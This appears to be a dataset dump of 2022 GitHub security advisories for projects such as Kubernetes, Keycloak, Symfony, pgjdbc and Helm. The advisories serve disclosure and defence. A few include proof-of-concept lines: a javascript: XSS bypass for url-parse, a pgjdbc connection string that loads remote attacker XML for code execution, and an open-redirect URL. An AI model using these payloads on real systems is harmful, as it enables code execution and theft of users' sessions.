aswin1906/github-advisory-2022 huggingface dataset:
User object created with invalid provider data in GoTrue
Advisory: GHSA-wpfr-6297-9v57
Published: 2022-02-09T22:29:01Z

### Impact
_What kind of vulnerability is it? Who is impacted?_

Under certain circumstances a valid user object would have been created with invalid provider metadata.

This vulnerability affects everyone running an instance of GoTrue as a service. We advise you to update especially if you are using the provider metadata from the user object to secure other resources.

### Patches
_Has the problem been patched? What versions should users upgrade to?_

A patch is available with the release of version [1.0.1 on Github](https://github.com/netlify/gotrue/releases/tag/v1.0.1).

### Workarounds
_Is there a way for users to fix or remediate the vulnerability without upgrading?_

If you don't rely on the provider metadata in the user object, you might not be affected. We still strongly recommend upgrading.

### References
_Are there any links users can visit to find out more?_

This problem was initially found and reported by the team at Supabase: https://github.com/supabase/gotrue/security/advisories/GHSA-5hvv-9cqv-894r. We want to thank them for the cooperation around this report.

In contrast to their advisory, we decided to set the severity to "Moderate" since the provider metadata is not an inherent security feature of this GoTrue codebase or the Netlify ecosystem.

### For more information
If you have any questions or comments about this advisory:
* Email us at [security@netlify.com](mailto:security@netlify.com)
Server Side Request Forgery (SSRF) in Kubernetes
Advisory: GHSA-x6mj-w4jf-jmgw
Aliases: CVE-2020-8555
Published: 2022-02-15T01:57:18Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N

The Kubernetes kube-controller-manager in versions v1.0-1.14, versions prior to v1.15.12, v1.16.9, v1.17.5, and version v1.18.0 are vulnerable to a Server Side Request Forgery (SSRF) that allows certain authorized users to leak up to 500 bytes of arbitrary information from unprotected endpoints within the master's host network (such as link-local or loopback services).
Unverified Ownership in Kubernetes
Advisory: GHSA-j9wf-vvm6-4r9w
Aliases: CVE-2020-8554
Published: 2022-02-08T21:50:34Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L

Kubernetes API server in all versions allow an attacker who is able to create a ClusterIP service and set the spec.externalIPs field, to intercept traffic to that IP address. Additionally, an attacker who is able to patch the status (which is considered a privileged operation and should not typically be granted to users) of a LoadBalancer service can set the status.loadBalancer.ingress.ip to similar effect.
Cross-site scripting in Crafter CMS Crafter Studio
Advisory: GHSA-ph76-rhqq-xj7j
Aliases: CVE-2017-15686
Published: 2022-02-09T23:08:06Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Crafter CMS Crafter Studio 3.0.1 is affected by: Cross Site Scripting (XSS), which allows remote attackers to steal users’ cookies.
Improper Input Validation in Xerces
Advisory: GHSA-w4jq-qh47-hvjq
Aliases: CVE-2020-14338
Published: 2022-02-15T01:37:41Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

A flaw was found in Wildfly's implementation of Xerces, specifically in the way the XMLSchemaValidator class in the JAXP component of Wildfly enforced the "use-grammar-pool-only" feature. This flaw allows a specially-crafted XML file to manipulate the validation process in certain cases. This issue is the same flaw as CVE-2020-14621, which affected OpenJDK, and uses a similar code. All xerces jboss versions before 2.12.0.SP3.
Open redirect vulnerability in Jenkins GitLab Authentication Plugin
Advisory: GHSA-mvq8-hgxh-4v2g
Aliases: CVE-2022-25196
Published: 2022-02-16T00:01:22Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N

Jenkins GitLab Authentication Plugin 1.13 and earlier records the HTTP `Referer` header as part of the URL query parameters when the authentication process starts, allowing attackers with access to Jenkins to craft a URL that will redirect users to an attacker-specified URL after logging in.

This issue is caused by an incomplete fix of [SECURITY-796](https://www.jenkins.io/security/advisory/2019-08-07/#SECURITY-796).
Path traversal in pimcore
Advisory: GHSA-gjq4-69wj-p6pr
Aliases: CVE-2022-0665
Published: 2022-02-23T00:00:59Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:H

The application doesn't perform a check/filter against the value of "importFile" parameter at endpoint "/admin/translation/import". After the API is executed, PHP unlink function will proceed to delete the file.
Cross-site scripting in Apache Atlas
Advisory: GHSA-h6xq-3h62-99qx
Aliases: CVE-2020-13928
Published: 2022-02-10T20:51:46Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Apache Atlas before 2.1.0 contain a XSS vulnerability. While saving search or rendering elements values are not sanitized correctly and because of that it triggers the XSS vulnerability.
Allocation of Resources Without Limits or Throttling and Uncontrolled Memory Allocation in Kubernetes
Advisory: GHSA-qhm4-jxv7-j9pq
Aliases: CVE-2020-8551
Published: 2022-02-15T01:57:18Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

The Kubelet component in versions 1.15.0-1.15.9, 1.16.0-1.16.6, and 1.17.0-1.17.2 has been found to be vulnerable to a denial of service attack via the kubelet API, including the unauthenticated HTTP read-only API typically served on port 10255, and the authenticated HTTPS API typically served on port 10250.
HashiCorp Nomad Artifact Download Race Condition
Advisory: GHSA-gwmc-6795-qghj
Aliases: CVE-2022-24686
Published: 2022-02-15T00:02:46Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N

HashiCorp Nomad and Nomad Enterprise 0.3.0 through 1.0.17, 1.1.11, and 1.2.5 artifact download functionality has a race condition such that the Nomad client agent could download the wrong artifact into the wrong destination. This issue is fixed in 1.0.18, 1.1.12, and 1.2.6.
Open Redirect in AllTube
Advisory: GHSA-jmhf-9fj8-88gh
Aliases: CVE-2022-0692
Published: 2022-02-23T21:15:01Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

### Impact
Releases prior to 3.0.1 are vulnerable to an open redirect vulnerability that allows an attacker to construct a URL that redirects to an arbitrary external domain.

### Patches
3.0.1 contains a fix for this vulnerability.
(The 1.x and 2.x releases are not maintained anymore.)

### References
* https://github.com/rudloff/alltube/commit/bc14b6e45c766c05757fb607ef8d444cbbfba71a
* https://huntr.dev/bounties/4fb39400-e08b-47af-8c1f-5093c9a51203/
* https://nvd.nist.gov/vuln/detail/CVE-2022-0692
url-parse incorrectly parses hostname / protocol due to unstripped leading control characters.
Advisory: GHSA-jf5r-8hm2-f872
Aliases: CVE-2022-0691
Published: 2022-02-22T00:00:30Z
Severity: type: CVSS_V3
score: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Leading control characters in a URL are not stripped when passed into url-parse. This can cause input URLs to be mistakenly be interpreted as a relative URL without a hostname and protocol, while the WHATWG URL parser will trim control characters and treat it as an absolute URL.

If url-parse is used in security decisions involving the hostname / protocol, and the input URL is used in a client which uses the WHATWG URL parser, the decision may be incorrect.

This can also lead to a cross-site scripting (XSS) vulnerability if url-parse is used to check for the javascript: protocol in URLs. See following example:
```js
const parse = require('url-parse')
const express = require('express')
const app = express()
const port = 3000

url = parse(\"\\bjavascript:alert(1)\")

console.log(url)

app.get('/', (req, res) => {
 if (url.protocol !== \"javascript:\") {res.send(\"<a href=\\'\" + url.href + \"\\'>CLICK ME!</a>\")}
 })

app.listen(port, () => {
 console.log(`Example app listening on port ${port}`)
 })
```
CSRF token missing in Symfony
Advisory: GHSA-vvmr-8829-6whx
Aliases: CVE-2022-23601
Published: 2022-02-01T00:46:57Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N

Description
-----------

The Symfony form component provides a CSRF protection mechanism by using a random token injected in the form and using the session to store and control the token submitted by the user.
When using the FrameworkBundle, this protection can be enabled or disabled with the configuration. If the configuration is not specified, by default, the mechanism is enabled as long as the session is enabled.

In a recent change in the way the configuration is loaded, the default behavior has been dropped and, as a result, the CSRF protection is not enabled in form when not explicitly enabled, which makes the application sensible to CSRF attacks.

Resolution
----------

Symfony restored the default configuration to enable the CSRF protection by default.

The patch for this issue is available [here](https://github.com/symfony/symfony/commit/f0ffb775febdf07e57117aabadac96fa37857f50) for branch 5.3.

Credits
-------

We would like to thank Catalin Dan and David Lochner for reporting the issue and Jérémy Derussé for fixing the issue.
Regular Expression Denial of Service in Handlebars
Advisory: GHSA-62gr-4qp9-h98f
Aliases: CVE-2019-20922
Published: 2022-02-10T20:38:22Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Handlebars before 4.4.5 allows Regular Expression Denial of Service (ReDoS) because of eager matching. The parser may be forced into an endless loop while processing crafted templates. This may allow attackers to exhaust system resources.
nats-io/jwt not enforcing checking of Import token permissions
Advisory: GHSA-62mh-w5cv-p88c
Published: 2022-02-15T00:42:28Z

(This advisory is canonically <https://advisories.nats.io/CVE/CVE-2021-3127.txt>)

## Problem Description

The NATS server provides for Subjects which are namespaced by Account; all Subjects are supposed to be private to an account, with an Export/Import system used to grant cross-account access to some Subjects.  Some Exports are public, such that anyone can import the
relevant subjects, and some Exports are private, such that the Import requires a token JWT to prove permission.

The JWT library's validation of the bindings in the Import Token incorrectly warned on mismatches, instead of outright rejecting the token.

As a result, any account can take an Import token used by any other account and re-use it for themselves because the binding to the
importing account is not rejected, and use it to import *any* Subject from the Exporting account, not just the Subject referenced in the Import Token.

The NATS account-server system treats account JWTs as semi-public information, such that an attacker can easily enumerate all account JWTs and retrieve all Import Tokens from those account JWTs.

The CVE identifier should cover the JWT library repair and the nats-server containing the fixed JWT library, and any other application depending upon the fixed JWT library.


## Affected versions

#### JWT library

 * all versions prior to 2.0.1
 * fixed after nats-io/jwt#149 landed (2021-03-14)

#### NATS Server

 * Version 2 prior to 2.2.0
   + 2.0.0 through and including 2.1.9 are vulnerable
 * fixed with nats-io/nats-server@423b79440c (2021-03-14)


## Impact

In deployments with untrusted accounts able to update the Account Server with imports, a malicious account can access any Subject from an account which provides Exported Subjects.

Abuse of this facility requires the malicious actor to upload their tampered Account JWT to the Account Server, providing the service operator with a data-store which can be scanned for signs of abuse.


## Workaround

Deny access to clients to update their account JWT in the account server.


## Solution

Upgrade the JWT dependency in any application using it.

Upgrade the NATS server if using NATS Accounts (with private Exports; Account owners can create those at any time though).

Audit all accounts JWTs to scan for exploit attempts; a Python script to audit the accounts can be found at <https://gist.github.com/philpennock/09d49524ad98043ff11d8a40c2bb0d5a>.
Improper Certificate Validation in Graylog
Advisory: GHSA-3gg9-f3vh-866f
Aliases: CVE-2020-15813
Published: 2022-02-10T22:39:58Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Graylog before 3.3.3 lacks SSL Certificate Validation for LDAP servers. It allows use of an external user/group database stored in LDAP. The connection configuration allows the usage of unencrypted, SSL- or TLS-secured connections. Unfortunately, the Graylog client code (in all versions that support LDAP) does not implement proper certificate validation (regardless of whether the "Allow self-signed certificates" option is used). Therefore, any attacker with the ability to intercept network traffic between a Graylog server and an LDAP server is able to redirect traffic to a different LDAP server (unnoticed by the Graylog server due to the lack of certificate validation), effectively bypassing Graylog's authentication mechanism.
Access Control vulnerability within CoreNLP
Advisory: GHSA-x2p8-rgfm-qw3v
Aliases: CVE-2021-44550
Published: 2022-02-25T00:01:07Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

An Incorrect Access Control vulnerability exists in CoreNLP 4.3.2 via the classifier in NERServlet.java (lines 158 and 159).
Improper Locking in JetBrains Kotlin
Advisory: GHSA-2qp4-g3q3-f92w
Aliases: CVE-2022-24329
Published: 2022-02-26T00:00:43Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

In JetBrains Kotlin before 1.6.0, it was not possible to lock dependencies for Multiplatform Gradle Projects.
Denial of Service (DoS) in HashiCorp Consul
Advisory: GHSA-q2qr-3c2p-9235
Aliases: CVE-2020-12758
Published: 2022-02-15T01:57:18Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

HashiCorp Consul and Consul Enterprise could crash when configured with an abnormally-formed service-router entry. Introduced in 1.6.0, fixed in 1.6.6 and 1.7.4.
Cross-site Scripting in keycloak
Advisory: GHSA-484q-784p-8m5h
Aliases: CVE-2020-10776
Published: 2022-02-09T00:58:15Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N

A flaw was found in Keycloak before version 12.0.0, where it is possible to add unsafe schemes for the redirect_uri parameter. This flaw allows an attacker to perform a Cross-site scripting attack.
Incorrect Permission Assignment for Critical Resource in CRI-O
Advisory: GHSA-jqmc-79gx-7g8p
Aliases: CVE-2022-0532
Published: 2022-02-11T00:00:54Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:L

An incorrect sysctls validation vulnerability was found in CRI-O 1.18 and earlier. The sysctls from the list of "safe" sysctls specified for the cluster will be applied to the host if an attacker is able to create a pod with a hostIPC and hostNetwork kernel namespace.
Unrestricted Upload of File with Dangerous Type in Drupal core
Advisory: GHSA-v8wr-r69p-mmwx
Aliases: CVE-2020-13675
Published: 2022-02-12T00:00:47Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Drupal's JSON:API and REST/File modules allow file uploads through their HTTP APIs. The modules do not correctly run all file validation, which causes an access bypass vulnerability. An attacker might be able to upload files that bypass the file validation process implemented by modules on the site.
Server-Side Request Forgery in Apache Traffic Control
Advisory: GHSA-wp47-9r3h-xfgq
Aliases: CVE-2022-23206
Published: 2022-02-07T00:00:23Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

In Apache Traffic Control Traffic Ops prior to 6.1.0 or 5.1.6, an unprivileged user who can reach Traffic Ops over HTTPS can send a specially-crafted POST request to /user/login/oauth to scan a port of a server that Traffic Ops can reach.
Cross-Site Request Forgery in Magnolia CMS
Advisory: GHSA-hxvf-35w8-f5mw
Aliases: CVE-2021-46366
Published: 2022-02-12T00:00:37Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

An issue in the Login page of Magnolia CMS v6.2.3 and below allows attackers to exploit both an Open Redirect vulnerability and Cross-Site Request Forgery (CSRF) in order to brute force and exfiltrate users' credentials.
Apache Hive Information Exposure and Observable Timing Discrepancy
Advisory: GHSA-54g4-5cf6-hjp3
Aliases: CVE-2020-1926
Published: 2022-02-09T00:48:54Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N

Apache Hive cookie signature verification used a non constant time comparison which is known to be vulnerable to timing attacks. This could allow recovery of another users cookie signature. The issue was addressed in Apache Hive 2.3.8
pgjdbc Does Not Check Class Instantiation when providing Plugin Classes
Advisory: GHSA-v7wg-cpwc-24m4
Aliases: CVE-2022-21724
Published: 2022-02-02T00:04:20Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

### Impact

pgjdbc instantiates plugin instances based on class names provided via `authenticationPluginClassName`, `sslhostnameverifier`, `socketFactory`, `sslfactory`, `sslpasswordcallback` connection properties.

However, the driver did not verify if the class implements the expected interface before instantiating the class.

Here's an example attack using an out-of-the-box class from Spring Framework:

```
DriverManager.getConnection("jdbc:postgresql://node1/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://target/exp.xml");
```

The first impacted version is REL9.4.1208 (it introduced `socketFactory` connection property)
Insufficiently Protected Credentials in Apache Superset
Advisory: GHSA-hhm3-48h2-597v
Aliases: CVE-2021-44451
Published: 2022-02-02T00:01:46Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Apache Superset up to and including 1.3.2 allowed for registered database connections password leak for authenticated users. This information could be accessed in a non-trivial way. Users should upgrade to Apache Superset 1.4.0 or higher.
Open Redirect in koa-remove-trailing-slashes
Advisory: GHSA-r773-pmw3-f4mr
Aliases: CVE-2021-23384
Published: 2022-02-10T23:47:27Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N

The package koa-remove-trailing-slashes before 2.0.2 are vulnerable to Open Redirect via the use of trailing double slashes in the URL when accessing the vulnerable endpoint (such as `https://example.com//attacker.example/`). The vulnerable code is in `index.js::removeTrailingSlashes()`, as the web server uses relative URLs instead of absolute URLs.
Incorrect Permission Assignment for Critical Resource and Permissive List of Allowed Inputs in Keycloak
Advisory: GHSA-72j4-94rx-cr6w
Aliases: CVE-2020-1694
Published: 2022-02-09T00:57:02Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N

A flaw was found in all versions of Keycloak before 10.0.0, where the NodeJS adapter did not support the verify-token-audience. This flaw results in some users having access to sensitive information outside of their permissions.
Keycloak has Files or Directories Accessible to External Parties
Advisory: GHSA-3w4v-rvc4-2xpw
Aliases: CVE-2021-3856
Published: 2022-08-27T00:00:45Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

ClassLoaderTheme and ClasspathThemeResourceProviderFactory allows reading any file available as a resource to the classloader. By sending requests for theme resources with a relative path from an external HTTP client, the client will receive the content of random files if available.
Improper masking of credentials Jenkins in Git Plugin
Advisory: GHSA-jxmw-3gxf-fprh
Aliases: CVE-2022-38663
Published: 2022-08-24T00:00:28Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Jenkins Git Plugin 4.11.4 and earlier does not properly mask (i.e., replace with asterisks) credentials in the build log provided by the Git Username and Password (`gitUsernamePassword`) credentials binding.
ansible-runner vulnerable to shell command injection
Advisory: GHSA-6j58-grhv-2769
Aliases: CVE-2021-4041
Published: 2022-08-25T00:00:27Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

A flaw was found in ansible-runner. An improper escaping of the shell command, while calling the ansible_runner.interface.run_command, can lead to parameters getting executed as host's shell command. A developer could unintentionally write code that gets executed in the host rather than the virtual environment.
Insufficient Session Expiration in snipe/snipe-it 
Advisory: GHSA-cmxc-9ghj-jp87
Aliases: CVE-2022-2997
Published: 2022-08-26T00:03:29Z
Severity: type: CVSS_V3
score: CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N

Session Fixation in GitHub repository snipe/snipe-it prior to version 6.0.10. The session is not invalidated after a password change.
Raneto v0.17.0 employs weak password complexity requirements
Advisory: GHSA-7942-2fx8-qhpf
Aliases: CVE-2022-35143
Published: 2022-08-05T00:00:23Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Raneto v0.17.0 employs weak password complexity requirements, allowing attackers to crack user passwords via brute-force attacks. Version 0.17.1 contains security mitigations for this and other vulnerabilities.
Deserialization of Untrusted Data in Apache Hadoop YARN
Advisory: GHSA-rr2m-gffv-mgrj
Aliases: CVE-2021-25642
Published: 2022-08-26T00:03:33Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

ZKConfigurationStore which is optionally used by CapacityScheduler of Apache Hadoop YARN deserializes data obtained from ZooKeeper without validation. An attacker having access to ZooKeeper can run arbitrary commands as YARN user by exploiting this. Users should upgrade to Apache Hadoop 2.10.2, 3.2.4, 3.3.4 or later (containing YARN-11126) if ZKConfigurationStore is used.
AEM WCM Core Components CVG Image vulnerable to Reflected Cross-site Scripting
Advisory: GHSA-qcgc-6q86-7x2p
Aliases: CVE-2022-35697
Published: 2022-08-11T15:57:01Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Core Components version 2.20.6 (and earlier) suffer from a reflected cross-site scripting (XSS) vulnerability in `AdaptiveImageServlet` via SVG images. An attacker with author access can upload a special crafted SVG image (including a malicious Javascript) and obtain a link that, when loaded by another authenticated users, will execute the malicious script and gain access to other user's session. The issue has been resolved in 2.20.8. There are currently no known workarounds.
.NET Information Disclosure Vulnerability
Advisory: GHSA-2m65-m22p-9wjw
Aliases: CVE-2022-34716
Published: 2022-08-10T00:00:18Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N

Microsoft is releasing this security advisory to provide information about a vulnerability in .NET Core 3.1 and .NET 6.0.  An information disclosure vulnerability exists in .NET Core 3.1 and .NET 6.0 that could lead to unauthorized access of privileged information.

## Affected software

* Any .NET 6.0 application running on .NET 6.0.7 or earlier.
* Any .NET Core 3.1 applicaiton running on .NET Core 3.1.27 or earlier.

## Patches

* If you're using .NET 6.0, you should download and install Runtime 6.0.8 or SDK 6.0.108 (for Visual Studio 2022 v17.1) from https://dotnet.microsoft.com/download/dotnet-core/6.0.
* If you're using .NET Core 3.1, you should download and install Runtime 3.1.28 (for Visual Studio 2019 v16.9) from https://dotnet.microsoft.com/download/dotnet-core/3.1.
CodeIgniter Shield Vulnerable to SameSite Attackers Bypassing the CSRF Protection
Advisory: GHSA-5hm8-vh6r-2cjq
Aliases: CVE-2022-35943
Published: 2022-08-18T19:03:34Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:L

### Impact
This vulnerability may allow [SameSite Attackers](https://canitakeyoursubdomain.name/) to bypass the [CodeIgniter4 CSRF protection](https://codeigniter4.github.io/userguide/libraries/security.html) mechanism with CodeIgniter Shield.

For this attack to succeed, the attacker must have direct (or indirect, e.g., XSS) control over a subdomain site (e.g., `https://a.example.com/`) of the target site (e.g., `http://example.com/`).

This vulnerability exists whether `Config\Security::$csrfProtection` is `'cookie'` or `'session'`.
It is also exploitable whether `Config\Security::$regenerate` is `true` or `false`.

### Patches
Upgrade to **CodeIgniter v4.2.3 or later** and **Shield v1.0.0-beta.2 or later**.

### Workarounds
Do all of the following:
- set `Config\Security::$csrfProtection` to `'session'`
- remove old session data right after login (immediately after ID and password match)
- regenerate CSRF token right after login (immediately after ID and password match)

### References
- [CodeIgniter4 CSRF Protection](https://codeigniter4.github.io/userguide/libraries/security.html)
- [SameSite Attacks](https://canitakeyoursubdomain.name/)
- [SameSite Cookies](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie/SameSite)
- [The great SameSite confusion](https://jub0bs.com/posts/2021-01-29-great-samesite-confusion/)

### For more information
If you have any questions or comments about this advisory:
* Open an issue or discussion in [codeigniter4/shield](https://github.com/codeigniter4/shield)
* Email us at [security@codeigniter.com](mailto:security@codeigniter.com)
Cockpit before 2.2.0 vulnerable to Insufficient Session Expiration
Advisory: GHSA-vm6p-35rw-3fxc
Aliases: CVE-2022-2713
Published: 2022-08-09T00:00:25Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Cockpit before version 2.2.0 is vulnerable to Insufficient Session Expiration. The application does not validate requests after password changes, allowing a user to change their account details even after an admin changes their password.
VTK NULL pointer dereference vulnerability
Advisory: GHSA-xfhg-9pjg-xg7g
Aliases: CVE-2021-42521
Published: 2022-08-26T00:03:30Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

There is a NULL pointer dereference vulnerability in VTK, and it lies in IO/Infovis/vtkXMLTreeReader.cxx. The vendor didn't check the return value of libxml2 API 'xmlDocGetRootElement', and try to dereference it. It is unsafe as the return value can be NULL and that NULL pointer dereference may crash the application.
Apache JSPWiki XSS due to incomplete patch for CVE-2021-40369
Advisory: GHSA-ggjq-8c4c-68r5
Aliases: CVE-2022-28730
Published: 2022-08-05T00:00:30Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

A carefully crafted request on AJAXPreview.jsp could trigger an XSS vulnerability on Apache JSPWiki, which could allow the attacker to execute javascript in the victim's browser and get some sensitive information about the victim. This vulnerability leverages CVE-2021-40369, where the Denounce plugin dangerously renders user-supplied URLs. Upon re-testing CVE-2021-40369, it appears that the patch was incomplete as it was still possible to insert malicious input via the Denounce plugin. Apache JSPWiki users should upgrade to 2.11.3 or later.
Incorrect parsing of EVM reversion exit reason in RPC
Advisory: GHSA-mjvm-mhgc-q4gp
Aliases: CVE-2022-36008
Published: 2022-08-18T19:18:25Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

### Impact

A low severity security issue was discovered affecting parsing of the RPC result of the exit reason in case of EVM reversion. In release build, this would cause the exit reason being incorrectly parsed and returned by RPC. In debug build, this would cause an overflow panic.

No action is needed unless you have a bridge node that needs to distinguish different reversion exit reasons and you used RPC for this.

### Patches

The issue is patched in https://github.com/paritytech/frontier/pull/820

### Workarounds

None.

### References

PR https://github.com/paritytech/frontier/pull/820

### For more information

If you have any questions or comments about this advisory:
* Email [Wei Tang](mailto:wei@that.world)
XNIO `notifyReadClosed` method logging message to unexpected end
Advisory: GHSA-76fg-mhrg-fmmg
Aliases: CVE-2022-0084
Published: 2022-08-27T00:00:44Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

A flaw was found in XNIO, specifically in the `notifyReadClosed` method. The issue revealed this method was logging a message to another expected end. This flaw allows an attacker to send flawed requests to a server, possibly causing log contention-related performance concerns or an unwanted disk fill-up. A fix for this issue is available on the `3.x` branch of the repository.
get-npm-package-version Command Injection vulnerability
Advisory: GHSA-4h66-vghf-xg5x
Aliases: CVE-2020-7795
Published: 2022-08-03T00:00:57Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

The package get-npm-package-version before 1.0.7 is vulnerable to Command Injection via the `main` function in index.js.
owning_ref vulnerable to multiple soundness issues
Advisory: GHSA-9qxh-258v-666c
Published: 2022-08-10T17:26:00Z

- `OwningRef::map_with_owner` is [unsound](https://github.com/Kimundi/owning-ref-rs/issues/77) and may result in a use-after-free.
- `OwningRef::map` is [unsound](https://github.com/Kimundi/owning-ref-rs/issues/71) and may result in a use-after-free.
- `OwningRefMut::as_owner` and `OwningRefMut::as_owner_mut` are [unsound](https://github.com/Kimundi/owning-ref-rs/issues/61) and may result in a use-after-free.
- The crate [violates Rust's aliasing rules](https://github.com/Kimundi/owning-ref-rs/issues/49), which may cause miscompilations on recent compilers that emit the LLVM `noalias` attribute.

No patched versions are available at this time. While a pull request with some fixes is outstanding, the maintainer appears to be unresponsive.
graphql-go has infinite recursion in the type definition parser
Advisory: GHSA-h3qm-jrrf-cgj3
Aliases: CVE-2022-37315
Published: 2022-08-02T00:00:20Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

graphql-go (aka GraphQL for Go) through 0.8.0 has infinite recursion in the type definition parser.
Mingsoft MCMS SQL injection vulnerability in /mdiy/page/verify URI via fieldName parameter
Advisory: GHSA-hmj3-mqgw-2fq6
Aliases: CVE-2022-36272
Published: 2022-08-17T00:00:30Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Mingsoft MCMS 5.2.8 was discovered to contain a SQL injection vulnerability in /mdiy/page/verify URI via fieldName parameter.
Path Traversal in Payara
Advisory: GHSA-h28c-453m-h9xm
Aliases: CVE-2022-37422
Published: 2022-08-19T00:00:20Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Payara through 5.2022.2 allows directory traversal without authentication. This affects Payara Server, Payara Micro, and Payara Server Embedded.
Helm Vulnerable to denial of service through string value parsing
Advisory: GHSA-7hfp-qfw3-5jxh
Aliases: CVE-2022-36055
Published: 2022-08-30T20:52:31Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Fuzz testing, by Ada Logics and sponsored by the CNCF, identified input to functions in the `_strvals_` package that can cause an out of memory panic. Out of memory panics cannot be recovered from. Applications that use functions from the `_strvals_` package in the Helm SDK can have a Denial of Service attack when they use this package and it panics.

### Impact

The `_strvals_` package contains a parser that turns strings into Go structures. For example, the Helm client has command line flags like `--set`, `--set-string`, and others that enable the user to pass in strings that are merged into the values. The `_strvals_` package converts these strings into structures Go can work with. Some string inputs can cause array data structures to be created causing an out of memory panic.

Applications that use the `_strvals_` package in the Helm SDK to parse user supplied input can suffer a Denial of Service when that input causes a panic that cannot be recovered from.

The Helm Client will panic with input to `--set`, `--set-string`, and other value setting flags that causes an out of memory panic. Helm is not a long running service so the panic will not affect future uses of the Helm client.

### Patches

This issue has been resolved in 3.9.4. 

### Workarounds

SDK users can validate strings supplied by users won't create large arrays causing significant memory usage before passing them to the `_strvals_` functions.

### For more information

